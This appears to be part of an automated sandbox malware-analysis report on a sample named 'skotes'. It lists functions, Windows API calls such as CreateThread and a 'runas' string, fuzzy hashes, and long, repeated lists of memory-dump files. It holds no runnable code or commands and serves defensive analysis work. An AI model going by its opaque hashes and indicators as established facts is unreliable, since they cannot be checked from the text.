Instruction Fuzzy Hash: B0E026203BC304D5F7103668AC8DB3D3A669FC1F01F201628EA08CF1898A944B404223

Function 005F7430 Relevance: 4.8, APIs: 3, Instructions: 280COMMON

Download Yara Rule

Strings

runas, xrefs: 005F7303

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situExecuteMtx_destroy_in_situShell
String ID: runas
API String ID: 141703535-4000483414
Opcode ID: 3319d67c65712b62e815040109204c67993aa10941aee1a68ff77924c2e33eae
Instruction ID: 45fb66624e646a47e34ff97e5b415d5c072d84bd6f449f2d43d5520fa8c53cfe
Opcode Fuzzy Hash: 3319d67c65712b62e815040109204c67993aa10941aee1a68ff77924c2e33eae
Instruction Fuzzy Hash: D3A1237161024C9FDB08DF68CC85BAE7BA7EB49300F50461DF905A77D2CB39A9848B95

Function 00626E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f65fac4aae4e2b468e79b66fdad51f2b29fe8a21e73c7810530b8103e1242f6
Instruction ID: 34c8bbfb32f02cfe86a54343749193fa163de4b2680a9cb3eb8a3fc4edf669bf
Opcode Fuzzy Hash: 4f65fac4aae4e2b468e79b66fdad51f2b29fe8a21e73c7810530b8103e1242f6
Instruction Fuzzy Hash: EA21E5725099286AEE116B68FD42F9E776B9F41334F110218F9643B2C1DA709E058F65

Function 00606D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00606D10
Sleep.KERNEL32(00007530), ref: 00606D25

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: b4a8cf9c498d9b30e0e55947ecec28055fa090d7ef3d71b20ea6b3780a4e0616
Instruction ID: ac573a17be21879bcbb73f205cf35dd849423c34c2ea8daa39463c080d08b5cf
Opcode Fuzzy Hash: b4a8cf9c498d9b30e0e55947ecec28055fa090d7ef3d71b20ea6b3780a4e0616
Instruction Fuzzy Hash: 69D08C747C4324B7F2241361AC07F17AA129B0AF01F262040BB0C3F0D086E0380046AC

Function 005F8380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 005F8524

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 24f81ab49b829fb6257dd247b328fae5f63d965646206ebbcb7a2cd95938f1ca
Instruction ID: 1339ce17c667aff4be89942a6e409151ffb861ceeb7aa4893ca646c6fc40b1e6
Opcode Fuzzy Hash: 24f81ab49b829fb6257dd247b328fae5f63d965646206ebbcb7a2cd95938f1ca
Instruction Fuzzy Hash: CB512970D102189BDB24EB68CD497FEBB75EF45314F504298E905A73C2EF389E848B95

Function 00627124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,0062705B,?,?,00000000,00000000), ref: 00627166

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: fff906a0a808f718c97dff1936d0750f1db1c5d5529214f6f7079052dd800f18
Instruction ID: e25f5a6d90919867e4334ae7ea435b403a02e1f7664ba265af00aea5ca071446
Opcode Fuzzy Hash: fff906a0a808f718c97dff1936d0750f1db1c5d5529214f6f7079052dd800f18
Instruction Fuzzy Hash: CD112A7290450DEBDB10DE94D888EDFB7BDAF18310F649266E511E3180EA30EA59CB66

Function 0062AC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0062AC8D

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
